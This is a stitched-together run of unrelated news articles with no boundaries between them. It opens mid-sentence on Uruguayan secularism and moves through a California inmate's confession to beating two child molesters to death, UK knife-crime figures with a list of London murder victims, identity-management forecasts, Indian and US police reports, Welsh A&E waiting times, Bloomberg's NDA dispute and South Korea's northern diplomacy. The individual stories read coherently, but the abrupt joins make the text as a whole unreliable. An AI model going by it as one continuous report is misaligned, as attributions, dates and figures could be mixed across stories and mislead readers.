enjoys no role in the government, and even the most sacred of holidays have officially secular names. Thus, for example, Christmas is Family Day and the week of Easter is Tourism Week. The journalist and two-time Uruguayan president Jose Batlle y Ordonez (d. 1929), European educated and saturated with progressive ideas, insisted that the word Dios (God) be spelled with a small d in his newspaper, and prohibited naming buildings after saints. Today, many Uruguayans believe that all religions are equal. And the religious variety of their country reflects that belief. In the poor suburbs of Montevideo, the capital, one sees small Santeria sanctuaries. Downtown, many of the shopkeepers and street vendors are Jewish. An impressive new building complex belonging to the Jehovahs Witnesses graces one area of the city, while the Mormons are building a new temple in one of its nicer suburbs. Traveling along the Avenida Italia, one of the citys main thoroughfares, one sees a small meeting hall of the Church of the Nazarene only a few blocks beyond a large neon sign that advertises the Nicheren Buddhist organization Soka Gakkai. Latin America is being transformed. CORCORAN Jonathan Watson, the California inmate accused of beating two convicted child molesters to death with a cane last month, has publicly confessed to both killings and says he gave prison officials plenty of warning that an attack would come if he wasnt transferred to a new facility. In a letter to this news organization, Watson, 41, said he murdered David Bobb, 48, and Graham De Luis-Conti, 62, with another inmates cane just one week after being transferred to California Substance Abuse Treatment Facility and State Prison, in Corcoran. Watson wrote that hours before attacking both men, he told a counselor at the prison that he wanted to be transferred, adding that the request was urgent, and that he would soon attack an inmate, but said that the warning was ignored. After the first attack, Watson said he was surprised at the lack of response from guards, so he singled out a second child trafficker and began beating him. Authorities were unaware of either homicide until Watson located a guard and led him to the bloody scene, he wrote. MORE: Pa. mom of 5 faces felonies after baby died in filthy house A spokesperson for the California Department of Corrections and Rehabilitation declined to comment on Watsons account of the incident, citing an ongoing investigation. In a news release last month, prison officials identified Watson as the person responsible for the Jan. 16 killings, and said he had attacked two inmates with a weaponcausing multiple head wounds to both victims. Bobb died later that day, officials said, and De Luis-Conti perished three days later, at a local hospital. Both men were serving life sentences for convictions of aggravated sexual assault involving children under the age of 14, prison officials said. No charges have been filed yet against Watson, who is serving a life sentence for a 2009 murder conviction, court records show. MORE: Trail of bodies and missing children from Idaho leads to arrest of kids mom in Hawaii In the letter, Watson said he had recently been given a lower-level security classification, from Level III to Level II, prompting his transfer from a single-person cell to dorm-style living at the Corcoran prison. Watson was displeased by the transfer, which he called a careless mistake by CDCR, adding he left quite a paper trail of grievances protesting it. Six days into his stay at the prison, Watson wrote, a child molester moved into his pod. His letter does not refer to Bobb nor Luis-Conti by name but said the man referred to as Molester #1 began watching PBS Kids in full view of other inmates, which Watson and others took as a taunt. That night, Watson wrote, I could not sleep having not done what every instinct told me I shouldve done right then and there, so I packed all of my things because I knew one way or another the situation would be resolved the following day. The next day, two hours before the attacks, Watson told a prison counselor that he needed to be transferred back to Level III before I really (expletive) one of these dudes up, but that the counselor scoffed and dismissed me. Watsons account of the killings is the second recent allegation that housing decisions by state prison officials put inmates in harms way, resulting in a homicide. Last month, the family of Rodney DeLong filed a federal lawsuit against CDCR, alleging that officials at High Desert State Prison made the mistake of placing DeLong in a cell with an Aryan Brotherhood member whod murdered another inmate months earlier. MORE: DUI suspect tasered repeatedly while fighting 2 state troopers in middle of Interstate DeLong who the suit claims was listed in internal prison records as an enemy of the Aryan Brotherhood was stabbed to death by his new cellmate within a half-hour of being placed in the cell. In Watsons case, his warning to prison officials was a clear red flag that he might turn violent, said Joshua Mason, a formerly incarcerated Bay Area man who has become a gang expert and legal consultant. This guy should have never been housed with those people and thats common laymen knowledge, Mason said. He told them, I cant be housed here, and thats admirable. Thats a deviation from normal prison general population behavior The culture is, if youre uncomfortable, do something about it. The fact that he did seek out the administration shows he was just trying to do his time. In his letter, Watson said that after warning the counselor he might turn violent, he returned to his pod. I was mulling it all over when along came Molester #1 and he put his TV right on PBS Kids again, he wrote. But this time, someone else said something to the effect of Is this guy really going to watch this right in front of us? and I recall saying, I got this. And I picked up the cane and went to work on him. Afterwards, Watson said he left the pod to find a guard and turn himself in. On the way, he encountered his second victim, and decided to kill again. As I got to the lower tier, I saw a known child trafficker, and I figured Id just do everybody a favor, Watson wrote. In for a penny, in for a pound. When the beatings failed to draw the attention of any corrections officials, Watson said, he approached an officer himself to confess what he had done. I told him, Ive got some pretty bad news, to which he ironically replied, Youre not going to hit me with that cane are you?' Watson wrote. So after jesting for a moment, knowing this might be the last decent moment that I have for a long time, I told him what Id just done, which he also didnt believe until he looked around the corner and saw the mess Id left in the dorm area. He said after being detained for the killings, he gave prison officials a full confession, detailing the situation as I just did for you. Watson said he will plead guilty to both killings if the state takes him to court and hinted that he may try to kill again if he is housed with child molesters in the future. The letter which came in response to a request for a phone interview from this news organization explained that he can communicate only by mail, as the prison has restricted his phone privileges and placed him in segregated housing as a punishment for the killings. Being a lifer, Im in a unique position where I sometimes have access to these people and I have so little to lose, Watson wrote. He later added, And trust me, we get it, these people are every parents worst nightmare. These familys (sic) spend years carefully and articulately planning how to give their children every opportunity that they never had, and one monster comes along and changes that childs trajectory forever. Robert Hood, a retired prison warden who spent three years in charge of the federal Supermax prison in Florence, Colorado, said that while its no secret child molesters are routinely targeted in prison, the number of inmates with sex convictions is so high, its challenging to find facilities where they can be safe. With the division that occurs between white collar criminals, drug addicts, different gangs and all that, the one magnet that pulls them all together truly is the sex offender, Hood said. He added: Im not trying to sound like a bleeding heart here, but the chemistry we put people into in certain prison environments is not healthy for anyone especially the person at the bottom of the totem pole, which is the sex offender. READ MORE The stark reality of Britain's knife crime epidemic has been laid bare in a BBC documentary which featured harrowing footage of a man who had been stabbed. The young man woke up dazed and confused as a 15-strong team of medics battled to save his life at Aintree Hospitals major trauma centre in Merseyside. Viewers watched in horror as he was then rushed to the Liverpool Heart and Chest Hospital for emergency open heart surgery after the blade pierced heart, preventing it from beating properly. The young man was taken to hospital after being stabbed in the chest The young man woke up dazed and confused as a 15-strong team of medics battled to save his life at Aintree Hospitals major trauma centre in Merseyside Figures for knife crime nationally have hit a record high and Merseyside has seen incidents double in the last five years. BBC Two's Hospital showed distressing footage of the young man who arrived by emergency helicopter after being stabbed - one of three stabbings to arrive during the day. The show showed him being sedated before the team scanned him to find the full extent of the internal damage and gave him a transfusion of eight units of blood. The blade had reached the patients heart and caused bleeding into its protective sac, preventing his heart from beating properly. The show showed him being sedated before the team scanned him to find the full extent of the internal damage and gave him a transfusion of eight units of blood. A graph showing the rising trend in knife crime from March 2011 to September 2019, separated by type. It has been split into threats to kill, assault with an injury and assault with intent to cause harm, robbery and other offences. The total number of knife offences in the last year is 44,771 An ONS report published earlier this year separated the types of crime. This graphic shows clear increases in knife crime and fraud With his life hanging in the balance, he was blue-lit 15 minutes across the city to the Liverpool Heart and Chest Hospital for emergency open heart surgery. There, a cardiac surgeon released the pressure around his heart, saving his life. Cardiac surgeon Julius Asante-Siaw told the show: 'He's about half-a-centimetre away of being dead at the scene.' Knife crime in England and Wales hit a record high in the year to September, up by 7 per cent on the previous 12 months. Police-recorded offences involving a knife or sharp instrument rose to 44,771, according to figures released in January by the Office for National Statistics. This is the highest on record, up from 41,858 in the previous 12 months and 46% more than when comparable records began in the year ending March 2011, at 30,620. LONDON MURDERS 2019 Where the 147 murders across the capital this year have happened Charlotte Huggins, 32, Jan-01, Camberwell Tudor Simionov, 33, Jan-01, Mayfair Simbiso Aretha Moula, 39, Jan-04, Rainham Sarah Ashraf, 35, Jan-06, Isle of Dogs Jayden Moody, 14, Jan-07, Waltham Forest Asma Begum, 31, Jan-11, Canning Town Kamil Malysz, 34, Jan-27, Acton Nedim Bilgin, 17, Jan-29, Islington Carl Thorpe, 46, Feb-04, Highgate Lejean Richards, 19, Feb-05, Battersea Dennis Anderson, 39, Feb-10, East Dulwich Bright Akinlele, 22, Feb-18, Camden Brian Wieland, 69, Feb-19, Chingford Glendon Spence, 23, Feb-21, Brixton Kamali Gabbidon-Lynck, 19, Feb-22, Wood Green David Lopez-Fernandez, 38, Feb-25, Tower Hamlets Che Morrison, 20, Feb-26, Ilford Jodie Chesney, 17, Mar-01, Harold Hill Elize Linda Stevens, 50, Mar-02, Hendon Jolia Bogdan, 3 months, Mar-02, Croydon Mohamed Elmi, 37, Mar-03, Soho Laureline Garcia-Bertaux, 34, Mar-06, Kew David Martinez, 26, Mar-06, Leyton Antoinette Donnegan, 52, Mar-07, Battersea Ayub Hassan, 17, Mar-07, West Kensington Florin Pitic, 20, Mar-10, Brent Nathaniel Armstrong, 29, Mar-16, Fulham Abdirashid Mohamoud, 17, Mar-22, Isleworth Ravi Katharkamar, 54, Mar-24, Pinner Ramane Richard Wiggan, 25, Mar-27, West Norwood Zahir Visiter, 25, Mar-28, Regents Park Gavin Garraway, 40, Mar-29, Clapham Calvin Bungisa, 22, Apr-01, Kentish Town Hubert Hall, 60, Apr-02, Walthamstow Annabelle Lancaster, 22, Apr-07, Enfield Noore Bashir Salad, 22, Apr-08, Manor Park Gopinath Kasivisuwanathan, 27, Apr-16, Wembley Steven Brown, 47, Apr-17, Stoke Newington Meshach Williams, 21, Apr-23, Harlesden Mihrican Mustafa, 38, Apr-26, Canning Town Henriett Szucs, 34, Apr-26, Canning Town Amy Parsons, 35, Apr-26, Whitechapel Joshua White, 29, Apr-26, Hackney Tashaun Aird, 15, May-01, Hackney Constantin Sin, 51, May-05, Leytonstone McCaulay Urugbezi-Edwards, 18, May-05, Southwark Barrington Davis, 54, May-16, Lewisham Vladimir Koudriavtsev, 69, May-23, Kensington Tatiana Koudriavtsev, 68, May-23, Kensington Iderval da Silva, 46, May-25, Battersea Alimal Islam, 23, May-26, Tower Hamlets Ismaila Ceesay, 33, May-28, Forest Gate Steven Kennedy, 61, May-30, Plaistow Graham Howe, 53, May-30, Harrow Baris Kucuk, 33, Jun-01, Haringey Adrian Murphy, 43, Jun-04, Battersea Cheyon Evans, 18, Jun-14, Wandsworth Eniola Aluko, 19, Jun-14, Plumstead Gleb Stanislavovitch Zhebrovsky, 34, Jun-15, Tower Hamlets Giedrius Juskauskas, 42, Jun-16, Stratford Stepan Suslyk, 40, Jun-16, Notting Hill David Bello-Monerville, 38, Jun-18, Barnet Ionut Manea, 63, Jun-18, Ilford Edward Simpson, 25, Jun-21, Feltham Yusuf Mohamed, 18, Jun-26, Shepherds Bush Kelly Mary Fauvrelle, 26, Jun-29, Croydon Riley Fauvrelle, 5 days, Jun-29, Croydon Ian Taylor, 54, Jun-29, Lambeth Fuad Habib, 28, Jun-29, Newham Gary Blagrove, 44, Jun-29, Fulham Amara Toure, 18, Jun-30, Southwark Tesfa Campbell, 40, Jul-03, Wandsworth Craig Walters (Craig Small), 32, Jul-05, Wembley Amanda Gretton, 57, Jul-05, Blackheath Grineo Daka, 27, Jul-07, Leyton Kwasi Mensah-Ababio, 26, Jul-08, Wembley Leo Marcus, 22, Jul-10, Kidbrooke Boluwatife Oyewunmi, 22, Jul-11, Enfield Kye Manning, 19, Jul-11, Croydon Akbar Arezo, 64, Jul-12, Whitton Layla Arezo, 74, Jul-12, Whitton Aron Kato, 28, Jul-17, Ilford Diane Dyer, 61, Jul-18, Beckenham Abdullahi Hassan, 20, Jul-25, South Hampstead Robert Komuro, 41, Jul-23, Hillingdon Liam Dent, 25, Jul-26, Chessington Alciveadis Mauredis, 60, Jul-31, Islington Dorothy Woolmer, 89, Aug-03, Tottenham Mohammed Shah Subhani, 27, Aug-05, Hounslow Alex Smith, 16, Aug-12, Camden Solomon Small, 18, Aug-15, Lambeth Amrou Greenidge, 18, Aug-20, Fulham Allan Isichei, 69, Aug-24, Southall Santino Angelo Dymiter, 18, Aug-26, Newham Lee Casey, 39, Aug-29, Brixton Unnamed child, 15 months, Aug-27, Putney Laura Rakstelyte, 31, Aug-29, Ilford Perry Jordan-Brammer, 15, Aug-30, Tottenham Sandra Samuels, 45, Aug-31, Hackney Norman Bertran-Tavarez, 24, Sep-01, Southwark Michael Irving, 15, Sep-03, Stratford Unnamed man, 20s, Sep-08, Lewisham Sahkira Mercedes Gwendolin Loseke, 20s, Sep-08, Chalk Farm Wilson Alexandre Garcia Varela, 24, Sep-09, Kentish Town Josiph Beker (Youssef al-Bayjani), 17, Sep-10, Edgware Road Unnamed girl, 8 weeks, Sep-12, SE16 Assad Abdullah Yarow, 25, Sep-12, Camden Omar Smith, 34, Sep-13, Lewisham Unnamed girl, 16 months, Sep-13, Plaistow Julio Gomes, 29, Sep-14, Edmonton Mark McCann-Barrett, 33, Sep-17, Walthamstow Serafima Meshaka, 58, Sep-18, Ealing Sufi Osman, 22, Sep-23, Southall Tashan Daniel, 20, Sep-24, Hillingdon Osvaldo Carvalho, 22, Sep-24, Ealing Arlene Williams, 46, Sep-28, Enfield Baptista Adjie, 15, Oct-10, Stratford Clinton Evbota, 18, Oct-10, Camberwell Ben Lines, 20, Oct-13, Bexley Zoe Orton, 46, Oct-21, Deptford Beatrice Yankson, 59, Oct-26, Islington James Amadu, 26, Oct-31, Enfield Vladislavs Radionovs, 57, Nov-02, Ilford Hakim Ishmael Daba Sillah, 18, Nov-07, Uxbridge Mohammed Mirza, 19, Nov-19, Ilford Iron Miah, 40, Nov-19, Whitechapel Randy Skuse, 27, Nov-23, Whitechapel Akeem Dylon Barnes, 24, Nov-24, Ilford Mehran Heydari, 26, Nov-24, Ealing Justin Bello, 38, Nov-25, Neasden Jack Merritt, 25, Nov-29, London Bridge Saskia Jones, 23, Nov-29, London Bridge Exauce Ngimbi, 22, Dec-05, Hackney Mohammed Abdullah Al Araimi, 20, Dec-06, Knightsbridge Crossland Davis, 20, Dec-06, Greenwich James O'Keefe, 47, Dec-09, Hornsey Dmytro Balaban, 28, Dec-14, Brent Viorel Stefan, 49, Dec-14, Dagenham Albert Amofa, 33, Dec-15, Croydon Lee Styles, 39, Dec-18, Surbiton Ebrima Cham, 35, Dec-19, Hounslow Michael Paul Baptista, 24, Dec-19, Walthamstow Arber Fesko, 30, Dec-19, Barnet Unnamed boy, 16, Dec-19, Dagenham Lashawn Williams, 29, Dec-21, Newham John Kennett, 60, Dec-23, Thornton Heath Flamur Beqiri, 36, Dec-24, Wandsworth The 2019 London murder rate of 137 broke last year's total of 133 by early December - and is the highest level recorded since 2008 when Scotland Yard investigated 154 deaths But the total number of homicides recorded by police fell by 6 per cent, from 654 to 617. There was also a 20 per cent drop in homicides where a knife or sharp instrument was used, to 221 offences, mainly driven by a decrease in London. The figures prompted Barnardo's chief executive Javed Khan to reiterate calls for the Government to take 'urgent action' to 'break the spiral of violence'. And they come after a wave of bloodshed on the street of the capital last year, which saw 147 murders, in a total compiled by MailOnline. Figures from the Crime Survey for England and Wales, also released alongside the police recorded statistics, showed continued rises in overall fraud, with a 9 per cent increase - to 3.8 million offences - in the year ending September 2019, driven by a rise in 'bank and credit account fraud'. Identity and access management in 2022 - what will the future look like? As we enter into 2022, there is still a level of uncertainty in place. Its unclear what the future holds, as companies around the world still contend with the COVID-19 pandemic. Remote working has been encouraged by most organisations and the move to a hybrid working system has become business as usual, for the majority of businesses. Some have reduced their office space or done away with their locations altogether. Following best security practices With all this change in place, there are problems to deal with. According to research, 32.7% of IT admins say they are concerned about employees using unsecured networks to carry out that work. Alongside this, 74% of IT admins thought that remote work makes it harder for employees to follow best security practices. This need to manage security around remote work is no longer temporary. Instead, companies have to build permanent strategies around remote work and security. The coming year will also create a different landscape for small and mid-sized businesses (SMBs). Here are some key predictions for next year and what to start preparing for in 2022: The reality of SMB spending around security will hit home SMBs had to undertake significant investments to adapt to remote working SMBs had to undertake significant investments to adapt to remote working, especially in comparison to their size. They had to undertake significant digital transformation projects that made it possible to deliver services remotely, during the COVID-19 pandemic. Weve seen a shift in mindset for these companies, which are now more tech-focused in their approach to problem solving. According to our research, 45% of SMBs plan to increase their spending towards IT services in 2022. Around half of all organisations think their IT budgets are adequate for their needs, while 14.5% of those surveyed believe they will need more, to cover all that needs to be done. Identity management spending to support remote work For others, the COVID-19 pandemic led to over-spending, just to get ahead of things and they will spend in 2022, looking at what they should keep and what they can reduce their spending on. Areas like identity management will stay in place, as companies struggle to support remote work and security, without this in place. However, on-premise IT spending will be reduced or cut, as those solutions are not relevant for the new work model. Services that rely on on-premise IT will be cut or replaced. The device will lead the way for security We rely on our phones to work and to communicate. In 2022, they will become central to how we manage access, to all our assets and locations, IT and physical. When employees can use company devices and their own phones for work, security is more difficult. IT teams have to ensure that theyre prepared for this, by making sure that these devices can be trusted. Wide use of digital certificates and strong MFA factors Rather than requiring a separate smart card or fingerprint reader, devices can be used for access using push authentication There are multiple ways that companies can achieve this, for example - By using digital certificates to identify company devices as trusted, an agent, or strong MFA factors, like a FIDO security key or mobile push authentication. Whichever approach you choose, this can prevent unauthorised access to IT assets and applications, and these same devices can be used for authentication into physical locations too. Rather than requiring a separate smart card or fingerprint reader, devices can be used for access using push authentication. Understanding human behaviour Alongside this, it is important to understand human behaviour. Anything that introduces an extra step for authentication can lead to employees taking workarounds. To stop this, it is important to put an employee education process in place, in order to emphasize on the importance of security. The next step is to think about adopting passwordless security, to further reduce friction and increase adoption. Lastly, as devices become the starting point for security and trust, remote device management will be needed too. More companies will need to manage devices remotely, from wiping an asset remotely if it gets lost or stolen, through to de-provisioning users easily and removing their access rights, when they leave the company. Identity will be a layer cake Zero Trust approaches to security Identity management relies on being able to trust that someone is who they say they are. Zero Trust approaches to security can support this effectively, particularly when aligned with least privilege access models. In order to turn theory into practical easy-to-deploy steps, companies need to use contextual access, as part of their identity management strategy. This involves looking at the context that employees will work in and putting together the right management approach for those circumstances. For typical employee behaviour, using two factor authentication might be enough to help them work, without security getting in the way. How enterprises manage, access and store identity data There will also be a shift in how enterprises manage, access, and store that identity data over time For areas where security is more important, additional security policies can be put over the top, to ensure that only the right people have access. A step-up in authentication can be added, based on the sensitivity of resources or risk-based adaptive authentication policies might be needed. There will also be a shift in how enterprises manage, access, and store that identity data over time, so that it aligns more closely with those use cases. Identity management critical to secure assets in 2022 There are bigger conversations taking place around digital identity for citizenship, as more services move online as well. Any moves that take place in this arena will affect how businesses think about their identity management processes too, encouraging them to look at their requirements in more detail. Overall, 2022 will be the year when identity will be critical to how companies keep their assets secure and their employees productive. With employees working remotely and businesses becoming decentralised, identity strategies will have to take the same approach. This will put the emphasis on strong identity management as the starting point for all security planning. A sub-inspector was injured in an exchange of fire with cow smugglers in Bharatpur district of Rajasthan on Friday, police said. Two cow smugglers were caught after the incident. A police team had gone to Fatehpur village on information of cow smuggling. The accused opened fire at police and police retaliated in action. A sub-inspector has received bullet injuries, SP, Bharatpur, Haidar Ali Zaidi said. We have caught two accused and they are under detention, he added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) CHESTER Police are searching for a city man they believe was the gunman in a fatal shooting Sunday evening. Investigators are looking for 35-year-old Matthew Hightower, described as standing 5 feet 8 inches tall and weighing about 160 pounds. His last known address was in the 1900 block of West 10th Street, according to Police Captain James Chubb. No weapon was recovered at the scene, so he more then likely is still armed, and he is dangerous, said Chubb. No one should approach him, they should just call or email us with information. Hightower is wanted in the slaying of 56-year-old Enric Wilson, who was found suffering from a gunshot wound to the torso shortly after officers were dispatched to the rear of the 1100 block of West Third Street at about 5:54 p.m. Feb. 16. Paramedics from Crozer-Chester Medical Center were dispatched to the location and began to treat the victim, who succumbed to his wounds and was pronounced dead at the scene. It was the sixth homicide in the city this year. Hightower had been the victim of a shooting in December 2017, when he was struck several times in his lower extremities. That shooting also occurred in the same area of the homicide, but Chubb said it is unknown at this time if there is a connection and no concrete motive for Wilsons shooting has been established. Hightower was developed as a suspect and a warrant issued for his arrest following an intense investigation led by Chester Detective Rhaheem Blanden and Delaware County Detective Vincent Ficchi. Anyone with information on Hightowers whereabouts is urged to call 911, contact Blanden at 610-447-8420 or rblanden280@chesterpolice.org, or call Ficchi at 610-891-4681. Ambulance response times across Wales improve however A&E waiting times come under spotlight again This article is old - Published: Friday, Feb 21st, 2020 Ambulance response times across Wales saw an improvement last month, however A&E times have once again come under fire, as new figures have been released. The Welsh Ambulance Service attended 66 per cent of red calls made within the eight minute target. A breakdown of figures show that of the 2,537 red calls made across Wales, 512 were made in North Wales. Overall 68 per cent of calls across the region were attended to within eight minutes. However A&E waiting times figures also released show that hospitals across Wales failed to reach the 95 per cent target of seeing patients within four hours. Januarys figures of 74.6 per cent is up slightly from the 72.1 per cent of patients seen throughout December. The figures show that waiting times at the Wrexham Maelor Hospital were the worst again in Wales, with 52.7 per cent of patients seen within four hours. However is up slightly on the 52.3 per cent from December 2019. Throughout January a total of 4,975 patients attended the hospitals emergency department, with 2,623 spending seen within the target time. These numbers are down on the 5,131 people visited Wrexham Maelors A&E during December. Overall 73.7 per cent were seen within eight hours and 83.5 per cent were seen within 12 hours. Across Betsi Cadwaladr University Health Board which also includes Glan Clwyd and Ysbyty Gwynedd, 68.7 per cent of patients were seen within four hours. Commenting on the figures, a Welsh Government spokesperson said: It is testament to the hard work of front line staff and robust winter planning that the Welsh Ambulance Service met its target for the most serious red patients, and improvements were made against the national 4 hour target for emergency departments in January. We are also encouraged by a reduction in delayed transfers of care for the second month in a row. These improvements have been made in the face of extreme pressure. Last month was the second busiest January ever for our emergency departments. We acknowledge that too many people are spending long periods in emergency departments while waiting for a hospital bed, and expect the extra 40m we made available this winter to make improvements in this area. Waiting times for scheduled care are being severely affected by doctors reducing hours because of changes to HMRC pension tax rules by the UK Government. By the end of December, this had led to about 3,200 sessions lost, affecting nearly 27,000 patients. The Health Minister has called on the UK Government to resolve this matter urgently. However the waiting times have been condemned by opposition parties, who say that not enough is being done to improve waiting times for patients and supporting NHS staff. Plaid Cymru Shadow Minister for Health, Rhun ap Iorwerth AM said: Month by month the figures for A&E waiting times keep getting worse and its patients and staff who pay the price. I pay tribute to the heroic work done by frontline NHS staff under increasingly difficult circumstances and shocking mismanagement from Labour. These latest figures are a scandal. A&E waiting times are at their worst ever. . Doctor numbers are low compared with most of Europe. Targets have been dropped or missed. Poor performance cant be blamed on under-funding alone. Spending per head on the NHS is above most English regions, and several Scottish regions. The simple truth is that our NHS is being poorly managed and poorly planned and the responsibility lies at Labours door. Welsh Conservatives Shadow Health Minister, Angela Burns AM/AC added: Month in, month out, generally increasingly worse figures are published. Each month, the Health Minister is pressed to take action, and each month he fails to do so. Whether its a minister and government that cannot improve or will not improve waiting times is open to debate. In those critical times when people attend A & E departments, they need the reassurance that they will be seen not as soon as possible, but within and well within the waiting periods set by this Welsh Labour Government and its Health Minister. And lets be clear: our hardworking NHS Wales staff are there to deliver the best care that they can, but they, too, are being let down by mismanagement at the top. Its a credit to them that they manage to cope under such circumstances. Welsh Conservatives have called on the Health Minister to stand down, or be sacked. His partys leader could act to make the changes that could help patients in Wales, but has not. Current queue length updates The NHS has launched an app showing the longest wait and queue length at Wrexham Maelor, and we have created a bot that auto tweets that data: The bot can be found @WrexMaelorBot with the latest output below: Tweets by WrexMaelorBot Mike Bloomberg announced Friday that his company would let three former female employees out of their non-disclosure agreements should they want to make public their stories about working for him. 'Bloomberg LP has identified 3 NDAs signed over the past 30+ years with women to address complaints about comments they said I had made,' the 2020 hopeful tweeted. 'If any of them want to be released from their NDAs, they should contact the company and they'll be given a release.' Going forward, he also announced that his company would no longer use silencing agreements when there are accusations of sexual harassment or misconduct. 'I recognize that NDAs, particularly when they are used in the context of sexual harassment and sexual assault, promote a culture of silence in the workplace and contribute to a culture of women not feeling safe or supported,' Bloomberg said. 'It is imperative that when problems occur, workplaces not only address the specific incidents, but the culture and practices that led to those incidents. And then leaders must act.' Bloomberg's flip-flop on letting ex-employees out of these contracts came after new polling showed his favorability rating dropped a net 20 points after Wednesday night's debate, according to a survey from Morning Consult. Elizabeth Warren put Michael Bloomberg (pictured) on blast during Wednesday night's Democratic debate in Las Vegas, which was the first time the former New York city mayor stood alongside his primary rivals On Friday afternoon, Mike Bloomberg announced that he'd let three women who previously worked for him out of NDAs - he also said silencing agreements would no longer be used when sexual harassment or misconduct was at issue On the debate stage, Elizabeth Warren (right) tore into Mike Bloomberg (left) over refusing to let employees out of non-disclosure agreements Elizabeth Warren appeared at a CNN town hall Thursday night and brought along a release she penned for women and men who had previously worked for Mike Bloomberg and were under non-disclosure agreements he's refusing to wave Elizabeth Warren (left) shared the document with CNN's Erin Burnett (right) explaining she had used her experience as a contact law professor to draw it up Elizabeth Warren penned a release for Mike Bloomberg to use with ex-employees who are currently under non-disclosure agreements. Warren shared it on Twitter and talked about it at a CNN town hall Thursday night Bloomberg was taken on by Elizabeth Warren on the Las Vegas debate stage for keeping these contracts intact. She continued to keep the narrative in the news by appearing at a CNN town hall Thursday night with a document in hand, putting her skills as a contract law professor to use. 'And I thought I would make this easy,' Warren told CNN's Erin Burnett. 'I wrote up a release and a covenant not to sue. And all that Mayor Bloomberg has to do is download it - I'll text it - sign it. And then the women, or men, will be free to speak and tell their own stories,' Warren added, as the audience laughed. Then, ever playing the Harvard Law professor, Warren read the relevant parts: 'Bloomberg and the company release any and all obligations contained in any agreement, including but not limited to, any employment settlement, severance, or non-disclosure agreement between Bloomberg and/or the company and any other person to the extent those obligations preclude the other person from disclosing information relating to sexual harassment, discrimination, or other misconduct at the company or by Bloomberg himself,' she said. 'Under this release, it is now the other person's choice to disclose such information or not.' Mike Bloomberg said his company looked back 30 years and found three non-disclosure agreements that had been signed by female employees over things Bloomberg himself had said. On Friday he announced that those women could be released from their NDAs On Thursday, Mike Bloomberg appeared at a campaign event in Salt Lake City, Utah and joked about his poor debate performance. On Friday, Bloomberg did not release a copy of the language that the three women could sign should they choose to be released from those contracts. 'I think that the mayor should sign this and that we all have a right to see,' Warren said of ehr version. On Wednesday, as soon as Warren got onstage with the billionaire - who was making his Democratic debate debut - she attacked him for names he had previously called women. 'I'd like to talk about who we're running against, a billionaire who calls women fat broads and horse-faced lesbians. And no I'm not talking about Donald Trump, I'm talking about Mayor Bloomberg,' Warren said Wednesday night. A little later on, Warren was on Bloomberg again, this time for the DNAs. 'None of them accuse me of doing anything other than maybe they didn't like a joke I told,' Bloomberg said one point, with the audience reacting with audible gasps. On Thursday, Warren explained to CNN's Erin Burnett that it was the power dynamic that should be considered. She pointed to how much courage it would take, as an employee, to stand up to the boss, especially one as moneyed as Bloomberg, who's currently worth $63.7 billion, according to Forbes. 'You've got to admit, that takes a lot to be able to do that, and that the consequence of it is he dumps some money on it and then stuffs a gag in the woman's mouth,' Warren said. 'If he's not willing to remove those gags and let those women and maybe those men talk, then he is disqualified from being president of the United States.' On Thursday, at an event in Salt Lake City, Bloomberg had tried to simply brush off the bruises he took during the debate. 'So how was your night last night?' Bloomberg said to laughs, adding that he thought President Trump was the 'real winner' of the debate. He didn't bring up any of Warren's specific qualms, with his name-calling, nor the NDAs. But in a statement on his campaign website Friday, Bloomberg said he had been doing a lot of 'reflecting on the issue.' '[A]nd I've decided that for as long as I'm running the company, we won't offer confidentiality agreements to resolve claims of sexual harassment or misconduct going forward,' he announced. Bloomberg also pledged to support the 'Be Heard Act,' a piece of legislation that was introduced by Democrats in the House and Senate last spring that revamps federal harassment laws. 'When we share a respect for each other and treat all of our colleagues as we ourselves would wish to be treated, we all do our best work,' Bloomberg wrote. 'This is something Donald Trump does not understand - not when he ran his business, and not now when he is recklessly running our country.' 'I will be a leader whom women can trust,' he said. The Morning Consult survey showed that 61 per cent of Democratic primary voters had a favorable opinion of Bloomberg before the debate, while 25 per cent held an unfavorable view. While Mike Bloomberg isn't technically competing in Nevada he paid for giant billboards on the Vegas strip to troll President Trump, who held a rally at the city's convention center Friday afternoon Another one of 2020 Democratic hopeful Mike Bloomberg's signs said 'Donald Trump lost the popular vote' The survey dropped Friday showed that now 52 per cent of Democrats view Bloomberg favorably, while 35 per cent dislike him - a net negative 20 per cent change. There isn't much of a gender gap either. He dropped 21 points among male Democrats and negative-18 with women. He also lost a little ground with Nevada voters, who will caucus on Saturday. Bernie Sanders leads in Nevada with 30 per cent support. He's up two points after Wednesday's debate. He's followed by Bloomberg who sits at 17 per cent support. Before the debate Bloomberg was in second place with 20 per cent support. Now he's in third place behind Joe Biden who saw no change from before the debate and has 19 per cent support of Nevada Democrats. Bloomberg is not truly participating in the Nevada caucuses, nor South Carolina's primary, scheduled for a week from Saturday. Instead he's focusing his fortune on the 14 states that vote on so-called 'Super Tuesday,' March 3. His presence was felt Friday, however, while President Trump and his supporters gathered at the Las Vegas convention center for a 'Keep America Great' rally. Bloomberg had paid for billboards on the iconic Las Vegas strip that read 'Donald Trump lost the popular vote' and 'Donald Trump cheats at golf.' President Moon Jae-in, left, shakes hands with Russian President Vladimir Putin during their summit in Moscow in 2018. Korea Times file By Do Je-hae President Moon Jae-in will focus on his New Northern Policy of engaging more actively with countries situated north of the Korean Peninsula this year, including Russia, Mongolia and other countries in central Asia. The South Korean leader highlighted the New Northern Policy during his Jan. 14 New Year address, along with other diplomatic priorities such as inter-Korea relations, U.S., Japan and China as well as the New Southern Policy. "Last year, the government strengthened cooperation with ASEAN to build a community of mutual prosperity through the ASEAN-Republic of Korea Commemorative Summit and the Mekong-Republic of Korea Summit. The government will also further solidify the South Korea-U.S. alliance this year while accelerating its New Southern and New Northern policies to diversify foreign affairs," Moon said. Cheong Wa Dae has been putting much emphasis on the New Northern Policy since the beginning of the year. "The government has designated this year as the year of cooperation with northern countries. We will carry on the momentum gained from the New Southern Policy," a presidential aide said Feb. 17. On Feb. 12, the Presidential Committee on Northern Economic Cooperation also held a press conference to introduce various economic, tourism and cultural projects. The government is placing particular importance on Russia as the two countries mark a landmark anniversary this year in diplomatic relations established in 1990 during the Roh Tae-woo administration. "Russia is a key partner in the New Northern Policy. As this year marks the 30th anniversary of the establishment of our diplomatic ties, I am looking forward to setting a new milestone in New Northern diplomacy," Moon said during the New Year address. The President recently sent Kim Hyon-chong, second deputy chief of Cheong Wa Dae's National Security Office (NSO), to Russia to check on the progress of arrangements for the Korea-Russia summit, which is likely to take place in the first half of the year. Despite the growing focus on the New Northern Policy, the concept still remains quite foreign for many 